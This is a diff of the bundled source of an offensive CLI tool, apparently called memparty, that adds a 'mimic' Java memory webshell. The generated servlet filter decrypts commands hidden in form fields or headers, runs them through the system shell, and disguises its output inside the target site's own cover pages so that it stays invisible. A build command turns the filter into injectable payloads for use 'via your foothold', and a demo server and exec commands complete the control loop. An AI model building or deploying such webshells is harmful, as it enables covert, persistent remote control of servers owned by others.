+    static String enc(byte[] data) {
+        return java.util.Base64.getUrlEncoder().withoutPadding().encodeToString(data);
+    }
+    static byte[] dec(String s) {
+        return java.util.Base64.getUrlDecoder().decode(s);
+    }
+`;
+    case "hex":
+      return String.raw`
+    static String enc(byte[] data) {
+        StringBuilder sb = new StringBuilder();
+        for (byte b : data) sb.append(String.format("%02x", b & 0xff));
+        return sb.toString();
+    }
+    static byte[] dec(String s) {
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));
+        return bos.toByteArray();
+    }
+`;
+  }
+}
+var PAD_METHODS = String.raw`
+    static int padLen(String aesKey) throws Exception {
+        return Integer.parseInt(md5Hex(aesKey).substring(0, 2), 16) % 16;
+    }
+    static String appendPad(String s, String aesKey) throws Exception {
+        int n = padLen(aesKey);
+        StringBuilder sb = new StringBuilder(s);
+        java.util.Random r = new java.util.Random();
+        for (int i = 0; i < n; i++) {
+            sb.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(r.nextInt(62)));
+        }
+        return sb.toString();
+    }
+    static String stripPad(String s, String aesKey) throws Exception {
+        int n = padLen(aesKey);
+        return n == 0 ? s : s.substring(0, Math.max(0, s.length() - n));
+    }
+`;
+function fieldTransforms(cipher) {
+  const afterEncode = cipher.padTail ? "appendPad(s, aesKey)" : "s";
+  const beforeDecode = cipher.padTail ? "stripPad(v, aesKey)" : "v";
+  return `
+    static String encryptField(byte[] plain, String aesKey) throws Exception {
+        String s = enc(crypt(plain, aesKey, true));
+        return ${afterEncode};
+    }
+    static byte[] decryptField(String v, String aesKey) throws Exception {
+        String s = ${beforeDecode};
+        return crypt(dec(s), aesKey, false);
+    }
+`;
+}
+function wrapPayloadMethod(marker) {
+  if (marker === "html-comment") {
+    return String.raw`
+    static String wrapPayload(String payload, String passKey) throws Exception {
+        return "<!--Re" + md5Hex(passKey).substring(0, 5) + "_config:" + payload + "-->";
+    }
+`;
+  }
+  return String.raw`
+    static String wrapPayload(String payload, String passKey) throws Exception {
+        return "<script>var Re" + md5Hex(passKey).substring(0, 5) + "_config=\"" + payload + "\";</script>";
+    }
+`;
+}
+function sharedMethods(cipher) {
+  return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
+}
+function renderFilterJava(opts) {
+  const { className, pass, secret, fields, templates, cipher } = opts;
+  const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
+  const tplsJava = templates.map((t) => `        "${javaStringLiteral(t)}"`).join(",\n");
+  return `package mimic;
+
+import java.io.*;
+import java.security.MessageDigest;
+import javax.crypto.Cipher;
+import javax.crypto.spec.IvParameterSpec;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.*;
+import javax.servlet.http.*;
+
+/**
+ * mimic protocol server (matches src/connect/mimic-codecs.ts):
+ *   cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
+ *
+ * Detection uses getParameter()/getHeader() only, never reads the body
+ * stream: form posts are parsed+cached by the container so downstream
+ * getParameter() callers still work, and raw-body posts (Behinder) keep an
+ * untouched body stream for the shell behind us. Anything that is not ours
+ * falls through chain.doFilter; any error answers with the cover page.
+ */
+public class ${className} implements Filter {
+    /** carriers that may hold the ciphertext (form fields / headers, from the profile) */
+    static final String[] FIELDS = { ${fieldsJava} };
+    /** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
+    static final String PASS = "${javaStringLiteral(pass)}";
+    static final String SECRET = "${javaStringLiteral(secret)}";
+    /** Cover pages from the site profile \u2014 rotated per response so the skin varies. */
+    static final String[] TPLS = {
+${tplsJava}
+    };
+
+    public void init(FilterConfig filterConfig) {}
+    public void destroy() {}
+${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
+    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
+            throws IOException, ServletException {
+        String value = null;
+        for (String f : FIELDS) {
+            value = request.getParameter(f);
+            if (value == null && request instanceof HttpServletRequest) {
+                // secretIn=header: the ciphertext may ride a header instead of a form field
+                value = ((HttpServletRequest) request).getHeader(f);
+            }
+            if (value != null) break;
+        }
+        if (value == null) {
+            chain.doFilter(request, response);
+            return;
+        }
+        String aesKey;
+        byte[] cmd;
+        try {
+            aesKey = md5Hex(SECRET).substring(0, 16);
+            cmd = decryptField(value, aesKey);
+        } catch (Exception notOurs) {
+            // the field exists but doesn't decrypt \u2014 this is someone else's
+            // legitimate form (e.g. the real login POST), stay invisible
+            chain.doFilter(request, response);
+            return;
+        }
+        String tpl = TPLS[new java.util.Random().nextInt(TPLS.length)];
+        try {
+            String command = new String(cmd, "UTF-8");
+            boolean win = System.getProperty("os.name").toLowerCase().contains("win");
+            ProcessBuilder pb = win
+                ? new ProcessBuilder("cmd.exe", "/c", command)
+                : new ProcessBuilder("/bin/sh", "-c", command);
+            pb.redirectErrorStream(true);
+            Process proc = pb.start();
+            ByteArrayOutputStream bos = new ByteArrayOutputStream();
+            InputStream in = proc.getInputStream();
+            byte[] buf = new byte[8192];
+            int n;
+            while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
+            proc.waitFor();
+            String payload = encryptField(bos.toByteArray(), aesKey);
+            String fragment = wrapPayload(payload, PASS + SECRET);
+            int idx = tpl.toLowerCase().lastIndexOf("</body>");
+            String page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
+            response.setContentType("text/html;charset=UTF-8");
+            response.setCharacterEncoding("UTF-8");
+            response.getWriter().write(page);
+        } catch (Exception e) {
+            // behave like the cover page on any error \u2014 stay quiet
+            response.setContentType("text/html;charset=UTF-8");
+            response.getWriter().write(tpl);
+        }
+    }
+}
+`;
+}
+
+// src/custom/javac.ts
+import { execFileSync } from "child_process";
+import { existsSync as existsSync4 } from "fs";
+import { fileURLToPath } from "url";
+function servletApiJar() {
+  const candidates = [
+    new URL("../resources/javax.servlet-api-3.1.0.jar", import.meta.url),
+    // dist/*.js
+    new URL("../../resources/javax.servlet-api-3.1.0.jar", import.meta.url)
+    // src/custom/*.ts
+  ];
+  for (const candidate of candidates) {
+    const p = fileURLToPath(candidate);
+    if (existsSync4(p)) return p;
+  }
+  throw new Error(
+    "bundled servlet-api jar not found (expected resources/javax.servlet-api-3.1.0.jar in the package)"
+  );
+}
+function findJavac() {
+  try {
+    execFileSync("javac", ["-version"], { stdio: "pipe" });
+    return "javac";
+  } catch {
+    throw new Error(
+      "javac not found on PATH \u2014 'memparty custom build' compiles Java locally, install any JDK 11+ and retry"
+    );
+  }
+}
+function compileJava(sources, outDir, opts = {}) {
+  const javac = findJavac();
+  const args = ["-encoding", "UTF-8", "--release", "8"];
+  if (opts.classpath && opts.classpath.length > 0) {
+    args.push("-cp", opts.classpath.join(process.platform === "win32" ? ";" : ":"));
+  }
+  args.push("-d", outDir, ...sources);
+  execFileSync(javac, args, { stdio: "pipe" });
+}
+
+// src/custom/build.ts
+function profileSecretFields(profile) {
+  const shapes = profileRequests(profile);
+  const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
+  return fields.length > 0 ? fields : ["pass"];
+}
+function defaultClassName() {
+  return `MimicFilter${randomString(4)}`;
+}
+async function buildCustomMemshell(input3, client, deps = {}) {
+  const compile = deps.compile ?? compileJava;
+  const jarOf = deps.servletJar ?? servletApiJar;
+  const className = input3.className ?? defaultClassName();
+  const shellType = input3.shellType ?? "Filter";
+  const urlPattern = input3.urlPattern ?? "/*";
+  const packer = input3.packer ?? "DefaultBase64";
+  const cipher = resolveCipher(input3.profile.cipher);
+  const templates = profileTemplates(input3.profile).map((t) => t.template);
+  if (templates.length === 0) {
+    throw new Error(`profile '${input3.profile.name}' has no templates \u2014 nothing to use as cover page`);
+  }
+  const outDir = input3.outDir;
+  const packageDir = join5(outDir, "mimic");
+  mkdirSync4(packageDir, { recursive: true });
+  const javaSource = renderFilterJava({
+    className,
+    pass: input3.pass,
+    secret: input3.secret,
+    fields: profileSecretFields(input3.profile),
+    templates,
+    cipher
+  });
+  const javaFile = join5(packageDir, `${className}.java`);
+  writeFileSync3(javaFile, javaSource, "utf8");
+  compile([javaFile], outDir, { classpath: [jarOf()] });
+  const classFile = join5(packageDir, `${className}.class`);
+  const shellClassBase64 = readFileSync5(classFile).toString("base64");
+  const response = await client.generateMemShell({
+    shellConfig: {
+      server: input3.server,
+      shellTool: "Custom",
+      shellType,
+      targetJreVersion: resolveJreVersion(input3.jdk ?? "java8")
+    },
+    shellToolConfig: {
+      shellClassName: `mimic.${className}`,
+      shellClassBase64
+    },
+    injectorConfig: { urlPattern },
+    packer
+  });
+  const payloads = {};
+  if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
+    for (const [name, value] of Object.entries(response.allPackResults)) {
+      const file = join5(outDir, `payload-${name}.txt`);
+      writeFileSync3(file, `${value}
+`, "utf8");
+      payloads[name] = file;
+    }
+  } else if (response.packResult !== void 0) {
+    const file = join5(outDir, "payload.txt");
+    writeFileSync3(file, `${response.packResult}
+`, "utf8");
+    payloads[packer] = file;
+  }
+  const result = {
+    className,
+    fullClassName: `mimic.${className}`,
+    injectorClassName: response.memShellResult.injectorClassName,
+    packer,
+    server: input3.server,
+    shellType,
+    urlPattern,
+    pass: input3.pass,
+    secret: input3.secret,
+    cipher,
+    response,
+    files: {
+      java: javaFile,
+      classFile,
+      manifest: join5(outDir, "manifest.json"),
+      payloads
+    }
+  };
+  const manifest = {
+    tool: "mimic",
+    createdAt: (/* @__PURE__ */ new Date()).toISOString(),
+    profile: input3.profile.name,
+    server: result.server,
+    shellType: result.shellType,
+    urlPattern: result.urlPattern,
+    packer: result.packer,
+    className: result.fullClassName,
+    injectorClassName: result.injectorClassName,
+    pass: result.pass,
+    key: result.secret,
+    cipher: result.cipher,
+    note: "pass/key/cipher are baked into the filter class. Editing the profile's cipher section afterwards desynchronizes client and server \u2014 rebuild and re-inject.",
+    connect: `memparty connect -u <shell-url> -t mimic --profile ${input3.profile.name} --pass ${result.pass} --key ${result.secret}`,
+    files: result.files
+  };
+  writeFileSync3(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
+`, "utf8");
+  return result;
+}
+
+// src/commands/custom.ts
+function registerCustomCommand(program) {
+  program.command("custom").description("Custom (mimic) memory shells built from a site profile").addCommand(
+    new Command2("build").description("profile -> filter class -> MemShellParty Custom -> injectable payload").requiredOption("--profile <name>", "site profile name (see 'memparty profile list')").requiredOption("--server <server>", "target middleware, e.g. Tomcat, TongWeb (see 'memparty config tools')").option("--type <shellType>", "shell type the filter implements", "Filter").option("--pass <pass>", "credential baked into the shell (random if omitted)").option("--key <key>", "crypto key baked into the shell (random if omitted)").option("--url-pattern <pattern>", "injector URL pattern", "/*").option("--packer <packer>", "payload packer", "DefaultBase64").option("--jdk <version>", "target JDK, e.g. java8", "java8").option("--out <dir>", "output directory", void 0).option("--json", "output raw JSON").addHelpText(
+      "after",
+      `
+The full loop (see docs/mimic-memshell-guide.md):
+  1. write a site profile            memparty profile init acme --site https://acme.cn
+  2. build the shell                 memparty custom build --profile acme --server Tomcat
+  3. inject payload-*.txt via your foothold (RCE / existing shell / upload)
+  4. connect + exec                  memparty connect -u <url> -t mimic --profile acme ...
+
+Delivery is NOT part of this command \u2014 it only builds the payload.
+Requires a JDK (javac on PATH) and a MemShellParty backend (--api).
+`
+    ).action(async (opts, cmd) => {
+      const globals = cmd.optsWithGlobals();
+      const fail = (message) => {
+        reportError(message, opts.json ? ["--json"] : []);
+        process.exitCode = 1;
+      };
+      let profile;
+      try {
+        profile = loadProfile(opts.profile);
+      } catch (err) {
+        fail(err instanceof Error ? err.message : String(err));
+        return;
+      }
+      const pass = opts.pass ?? randomString(10);
+      const secret = opts.key ?? randomString(16);
+      const outDir = opts.out ?? `${opts.profile}-build`;
+      const client = createClient(globals);
+      const started = Date.now();
+      try {
+        const result = await buildCustomMemshell(
+          {
+            profile,
+            server: opts.server,
+            shellType: opts.type,
+            pass,
+            secret,
+            urlPattern: opts.urlPattern,
+            packer: opts.packer,
+            jdk: opts.jdk,
+            outDir
+          },
+          client
+        );
+        logOp({
+          category: "gen",
+          action: "custom-build",
+          ok: true,
+          durationMs: Date.now() - started,
+          detail: `${result.fullClassName} -> ${result.injectorClassName} (${result.server}/${result.shellType})`,
+          meta: {
+            profile: profile.name,
+            server: result.server,
+            shellType: result.shellType,
+            packer: result.packer
+          }
+        });
+        if (opts.json) {
+          const { response: _response, ...summary } = result;
+          process.stdout.write(`${JSON.stringify({ ok: true, ...summary }, null, 2)}
+`);
+          return;
+        }
+        logInfo(`filter class:    ${result.fullClassName}`);
+        logInfo(
+          `injector class:  ${result.injectorClassName} (server=${result.server}, type=${result.shellType})`
+        );
+        logInfo(`credentials:     --pass ${result.pass} --key ${result.secret}`);
+        logInfo(`cipher:          ${JSON.stringify(result.cipher)}`);
+        for (const [name, file] of Object.entries(result.files.payloads)) {
+          logInfo(`payload [${name}]: ${file}`);
+        }
+        logInfo(`manifest:        ${result.files.manifest}`);
+        process.stdout.write(
+          `
+next steps:
+  1. inject the payload via your foothold (RCE defineClass / existing shell / upload)
+  2. memparty connect -u <shell-url> -t mimic --profile ${profile.name} --pass ${result.pass} --key ${result.secret}
+  3. memparty exec <host>/mimic --cmd "id"
+`
+        );
+      } catch (err) {
+        logOp({
+          category: "gen",
+          action: "custom-build",
+          ok: false,
+          durationMs: Date.now() - started,
+          error: err instanceof Error ? err.message : String(err),
+          meta: { profile: profile.name, server: opts.server }
+        });
+        fail(err instanceof Error ? err.message : String(err));
+      }
+    })
+  );
+}
+
+// src/connect/mimic-server.ts
+import { exec } from "child_process";
+import http2 from "http";
+function tryDecrypt(b64, aesKey, cipher = resolveCipher()) {
+  try {
+    return decryptField2(b64, aesKey, cipher);
+  } catch {
+    return null;
+  }
+}
+var SITE_TITLE = "\u4E91\u67A2\u79D1\u6280 - \u4F01\u4E1A\u6570\u5B57\u5316\u670D\u52A1\u5546";
+var NAV = `<nav><a href="/">\u9996\u9875</a> <a href="/products/">\u4EA7\u54C1\u4E2D\u5FC3</a> <a href="/news/">\u65B0\u95FB\u52A8\u6001</a> <a href="/about/">\u5173\u4E8E\u6211\u4EEC</a></nav>`;
+var PAGES = {
+  "/": `<!DOCTYPE html>
+<html lang="zh-CN">
+<head>
+<meta charset="UTF-8">
+<title>${SITE_TITLE}</title>
+</head>
+<body>
+<header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
+<main>
+<h2>\u8BA9\u4F01\u4E1A\u6570\u636E\u6D41\u52A8\u8D77\u6765</h2>
+<p>\u4E91\u67A2\u79D1\u6280\u4E3A\u4E2D\u578B\u4F01\u4E1A\u63D0\u4F9B\u6570\u636E\u96C6\u6210\u3001\u62A5\u8868\u53EF\u89C6\u5316\u4E0E\u6D41\u7A0B\u81EA\u52A8\u5316\u670D\u52A1\u3002</p>
+<ul>
+<li><a href="/products/yunetl.html">\u4E91\u67A2 ETL \u5E73\u53F0</a></li>
+<li><a href="/products/yunbi.html">\u4E91\u67A2 BI \u62A5\u8868</a></li>
+<li><a href="/news/2024/release-notes.html">2024 \u4EA7\u54C1\u53D1\u5E03\u8BF4\u660E</a></li>
+</ul>
+</main>
+<footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280 \u4EACICP\u59072024000000\u53F7</footer>
+</body>
+</html>`,
+  "/products/": `<!DOCTYPE html>
+<html lang="zh-CN">
+<head>
+<meta charset="UTF-8">
+<title>\u4EA7\u54C1\u4E2D\u5FC3 - \u4E91\u67A2\u79D1\u6280</title>
+</head>
+<body>
+<header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
+<main><h2>\u4EA7\u54C1\u4E2D\u5FC3</h2><p>ETL / BI / \u6D41\u7A0B\u81EA\u52A8\u5316\u4E09\u5927\u4EA7\u54C1\u7EBF\u3002</p></main>
+<footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280</footer>
+</body>
+</html>`,
+  "/news/": `<!DOCTYPE html>
+<html lang="zh-CN">
+<head>
+<meta charset="UTF-8">
+<title>\u65B0\u95FB\u52A8\u6001 - \u4E91\u67A2\u79D1\u6280</title>
+</head>
+<body>
+<header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
+<main><h2>\u65B0\u95FB\u52A8\u6001</h2><p>\u4E91\u67A2 ETL 3.2 \u53D1\u5E03\uFF0C\u65B0\u589E\u5B9E\u65F6\u540C\u6B65\u901A\u9053\u3002</p></main>
+<footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280</footer>
+</body>
+</html>`
+};
+var NOT_FOUND = `<!DOCTYPE html>
+<html lang="zh-CN">
+<head>
+<meta charset="UTF-8">
+<title>\u9875\u9762\u4E0D\u5B58\u5728 - \u4E91\u67A2\u79D1\u6280</title>
+</head>
+<body>
+<header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
+<main><h2>404</h2><p>\u60A8\u8BBF\u95EE\u7684\u9875\u9762\u4E0D\u5B58\u5728\u3002</p></main>
+<footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280</footer>
+</body>
+</html>`;
+var MOCK_HOMEPAGE = PAGES["/"];
+function runCommand(command, timeoutMs) {
+  return new Promise((resolve2) => {
+    exec(command, { timeout: timeoutMs, windowsHide: true }, (err, stdout, stderr) => {
+      if (err && !stdout && !stderr) {
+        resolve2(`command failed: ${err.message}`);
+        return;
+      }
+      resolve2(stdout + stderr);
+    });
+  });
+}
+async function startMimicServer(options = {}) {
+  const pass = options.pass ?? "pass";
+  const secretKey = options.secretKey ?? "key";
+  const cipher = resolveCipher(options.cipher);
+  const aesKey = deriveAesKey(secretKey);
+  const markers = deriveMarkers(pass, secretKey, cipher);
+  const execTimeoutMs = options.execTimeoutMs ?? 5e3;
+  const skin = PAGES["/"];
+  const server = http2.createServer((req, res) => {
+    if (req.method === "POST") {
+      const chunks = [];
+      req.on("data", (c) => chunks.push(c));
+      req.on("end", () => {
+        let command = decodeRequestBody(Buffer.concat(chunks), pass, aesKey, cipher);
+        if (command === null) {
+          const query = new URL(req.url ?? "/", "http://x").searchParams.get(pass);
+          if (query) command = tryDecrypt(query, aesKey, cipher);
+        }
+        if (command === null) {
+          const header = req.headers[pass.toLowerCase()];
+          if (typeof header === "string") command = tryDecrypt(header, aesKey, cipher);
+        }
+        if (command === null) {
+          res.writeHead(404, { "Content-Type": "text/html; charset=utf-8" });
+          res.end(NOT_FOUND);
+          return;
+        }
+        void runCommand(command.toString("utf8"), execTimeoutMs).then((output) => {
+          const b64 = encryptField2(Buffer.from(output, "utf8"), aesKey, cipher);
+          res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
+          res.end(injectFragment(skin, markers.wrap(b64)));
+        });
+      });
+      return;
+    }
+    const page = PAGES[req.url ?? "/"] ?? NOT_FOUND;
+    res.writeHead(PAGES[req.url ?? "/"] ? 200 : 404, {
+      "Content-Type": "text/html; charset=utf-8"
+    });
+    res.end(page);
+  });
+  await new Promise((resolve2) => server.listen(0, "127.0.0.1", resolve2));
+  const { port } = server.address();
+  return {
+    url: `http://127.0.0.1:${port}/`,
+    port,
+    close: () => new Promise((resolve2) => server.close(() => resolve2()))
+  };
+}
+
+// src/commands/demo.ts
+function demoProfile(site) {
+  return {
+    name: "demo",
+    site,
+    createdAt: (/* @__PURE__ */ new Date()).toISOString(),
+    templates: [
+      {
+        title: "\u4E91\u67A2\u79D1\u6280 - \u4F01\u4E1A\u6570\u5B57\u5316\u670D\u52A1\u5546",
+        template: MOCK_HOMEPAGE,
+        contentType: "text/html; charset=utf-8"
+      }
+    ],
+    paths: ["/products/", "/news/", "/about/"]
+  };
+}
+function registerDemoCommand(program) {
+  program.command("demo").description(
+    "Run the mimic protocol end-to-end locally: fake business site + profile + connect + one exec (no external traffic)"
+  ).option("--cmd <command>", "command to execute on the fake target", "whoami").option("--json", "output raw JSON").addHelpText(
+    "after",
+    `
+This is the reference walk-through for the mimic plugin:
+  1. starts a fake business site on 127.0.0.1 (a mimic shell hides in it)
+  2. loads a hand-written site profile (in real engagements the operator
+     or AI agent writes it \u2014 see 'memparty profile init')
+  3. 'connect' does a credential round-trip using a dynamic path
+  4. 'exec' runs --cmd through the same channel
+Watch the printed request URL in step 3/4: it changes every run.
+`
+  ).action(async (opts, cmd) => {
+    const globals = cmd.optsWithGlobals();
+    const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10);
+    const log = (line) => {
+      if (!opts.json) process.stdout.write(`${line}
+`);
+    };
+    const server = await startMimicServer();
+    try {
+      log(`[1/4] fake business site up at ${server.url}`);
+      const profile = demoProfile(server.url.replace(/\/+$/, ""));
+      saveProfile(profile);
+      log(
+        `[2/4] profile 'demo' loaded: title=${JSON.stringify(profile.templates[0].title)}, paths=[${profile.paths.join(", ")}], templates=${profile.templates.length}`
+      );
+      const protocol = getProtocol("mimic");
+      const conn = {
+        url: server.url,
+        tool: "mimic",
+        pass: "pass",
+        key: "key",
+        extraHeaders: {},
+        profile: "demo"
+      };
+      const common = { timeoutMs };
+      const options = { profile: "demo", dynamicPath: true };
+      const test = await protocol.test({ conn, common, options });
+      if (!test.ok) throw new Error(`connect failed: ${test.error}`);
+      log(`[3/4] connect ok \u2014 ${test.detail}`);
+      const result = await protocol.exec({ conn, common, options }, opts.cmd);
+      if (!result.ok) throw new Error(`exec failed: ${result.error}`);
+      log(`[4/4] exec ok \u2014 ${JSON.stringify(opts.cmd)} output:`);
+      if (opts.json) {
+        process.stdout.write(
+          `${JSON.stringify({ ok: true, profile, test, exec: result }, null, 2)}
+`
+        );
+      } else {
+        process.stdout.write(`${result.output ?? ""}`);
+        if (result.output && !result.output.endsWith("\n")) process.stdout.write("\n");
+      }
+    } catch (err) {
+      reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+      process.exitCode = 1;
+    } finally {
+      await server.close();
+    }
+  });
+}
+
 // src/commands/exec.ts
 import { Option as Option2 } from "commander";
 function parseExtraHeaders2(lines) {
@@ -1892,10 +3142,10 @@ function parseExtraHeaders2(lines) {
 }
 function registerExecCommand(program) {
   program.command("exec").description(
-    "Execute a command on a deployed webshell (Godzilla / Behinder) and print its output"
+    "Execute a command on a deployed webshell and print its output"
   ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
-    new Option2("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
-  ).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").addOption(
+    new Option2("-t, --tool <tool>", "shell protocol").choices(protocolNames("exec"))
+  ).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").addOption(
     new Option2("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
   ).option(
     "--header-name <name>",
@@ -1903,7 +3153,7 @@ function registerExecCommand(program) {
   ).option(
     "--header-value <value>",
     "gate header value reported by gen (shellToolConfig.headerValue)"
-  ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
+  ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
     "after",
     `
 Examples:
@@ -1932,7 +3182,8 @@ the OS inside its payload, so --os does not apply.
         headerName: opts.headerName,
         headerValue: opts.headerValue,
         extraHeaders: parseExtraHeaders2(opts.header),
-        insecure: opts.insecure
+        insecure: opts.insecure,
+        profile: opts.profile
       });
     } catch (err) {
       reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
@@ -1947,28 +3198,23 @@ the OS inside its payload, so --os does not apply.
       insecure: conn.insecure
     };
     let result;
-    switch (conn.tool) {
-      case "godzilla": {
-        const gdzOpts = { ...common, os: opts.os };
-        result = await execGodzilla(
-          conn.url,
-          conn.pass ?? "pass",
-          conn.key ?? "key",
-          opts.cmd,
-          gdzOpts
-        );
-        break;
-      }
-      case "behinder":
-        result = await execBehinder(conn.url, conn.pass ?? "rebeyond", opts.cmd, common);
-        break;
-      default:
-        process.stderr.write(
-          `Error: exec supports godzilla | behinder (got ${String(conn.tool)})
-`
-        );
+    try {
+      const protocol = requireProtocol(conn.tool);
+      if (!protocol.exec) {
+        reportError(unsupportedMessage(protocol, "exec"), opts.json ? ["--json"] : []);
         process.exitCode = 1;
         return;
+      }
+      const options = {
+        os: opts.os,
+        profile: conn.profile,
+        dynamicPath: opts.dynamicPath
+      };
+      result = await protocol.exec({ conn, common, options }, opts.cmd);
+    } catch (err) {
+      reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+      process.exitCode = 1;
+      return;
     }
     let savedAs;
     if (result.ok && conn.targetName === void 0 && opts.save !== false) {
@@ -2008,11 +3254,11 @@ the OS inside its payload, so --os does not apply.
 }
 
 // src/commands/gen.ts
-import { readFileSync as readFileSync5 } from "fs";
+import { readFileSync as readFileSync7 } from "fs";
 import { Option as Option3 } from "commander";
 
 // src/core/output.ts
-import { writeFileSync as writeFileSync2 } from "fs";
+import { writeFileSync as writeFileSync4 } from "fs";
 var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
 function hasBinaryExtension(path) {
   const lower = path.toLowerCase();
@@ -2024,7 +3270,7 @@ function shouldDecode(opts) {
   return false;
 }
 function emitPayload(payload, opts, sinks = {}) {
-  const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync2(p, d));
+  const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync4(p, d));
   const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
   const decoded = shouldDecode(opts);
   if (opts.outFile) {
@@ -2047,32 +3293,7 @@ function emitPayload(payload, opts, sinks = {}) {
 }
 
 // src/core/request-builder.ts
-import { randomInt } from "crypto";
-
-// src/core/jdk.ts
-var JDK_VERSIONS = {
-  java6: 50,
-  java8: 52,
-  java9: 53,
-  java11: 55,
-  java17: 61,
-  java21: 65
-};
-function resolveJreVersion(input3) {
-  if (input3 === void 0 || input3 === "") return void 0;
-  if (typeof input3 === "number") return input3;
-  const normalized = input3.trim().toLowerCase();
-  if (normalized in JDK_VERSIONS) return JDK_VERSIONS[normalized];
-  const withPrefix = `java${normalized}`;
-  if (withPrefix in JDK_VERSIONS) return JDK_VERSIONS[withPrefix];
-  const num = Number(normalized);
-  if (Number.isInteger(num) && num > 0) return num;
-  throw new Error(
-    `Invalid JDK version "${input3}". Use one of: ${Object.keys(JDK_VERSIONS).join(", ")}, or a class-file major version like 52.`
-  );
-}
-
-// src/core/request-builder.ts
+import { randomInt as randomInt3 } from "crypto";
 var SPRING_GZIP_JDK17_RELATED_PACKERS = /* @__PURE__ */ new Set([
   "SpEL",
   "SpELSpringGzipJDK17",
@@ -2084,7 +3305,7 @@ var SPRING_GZIP_JDK17_RELATED_PACKERS = /* @__PURE__ */ new Set([
 var UPPERCASE_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
 var CLASS_NAME_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
 function randomChar(chars) {
-  return chars[randomInt(chars.length)];
+  return chars[randomInt3(chars.length)];
 }
 function generateSpringExpressionInjectorClassName() {
   const randomName = Array.from({ length: 5 }, () => randomChar(CLASS_NAME_LETTERS)).join("");
@@ -2153,7 +3374,7 @@ function buildProbeRequest(opts) {
 }
 
 // src/wizard/memshell-wizard.ts
-import { readFileSync as readFileSync4 } from "fs";
+import { readFileSync as readFileSync6 } from "fs";
 import { checkbox, confirm, input, select, Separator } from "@inquirer/prompts";
 var JDK_CHOICES = [
   { name: "server default", value: "" },
@@ -2221,7 +3442,7 @@ async function runMemShellWizard(client) {
     }
     case "Custom": {
       const file = await input({ message: "Path to custom .class file" });
-      opts.shellClassBase64 = readFileSync4(file).toString("base64");
+      opts.shellClassBase64 = readFileSync6(file).toString("base64");
       break;
     }
     default:
@@ -2262,7 +3483,7 @@ var REQUIRED = ["server", "tool", "type", "packer"];
 function toOptions(o) {
   let shellClassBase64 = o.shellClassBase64;
   if (o.shellClassFile) {
-    shellClassBase64 = readFileSync5(o.shellClassFile).toString("base64");
+    shellClassBase64 = readFileSync7(o.shellClassFile).toString("base64");
   }
   return {
     server: o.server,
@@ -2446,12 +3667,12 @@ Examples:
 // src/mcp/server.ts
 import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
 import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
-import { writeFileSync as writeFileSync3 } from "fs";
+import { writeFileSync as writeFileSync5 } from "fs";
 import { z } from "zod";
 
 // src/core/localfile.ts
-import { existsSync as existsSync3, readFileSync as readFileSync6, statSync } from "fs";
-import { dirname as dirname3, join as join4, resolve } from "path";
+import { existsSync as existsSync5, readFileSync as readFileSync8, statSync } from "fs";
+import { dirname as dirname3, join as join6, resolve } from "path";
 var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
 function remoteBasename(remotePath) {
   const trimmed = remotePath.replace(/[/\\]+$/, "");
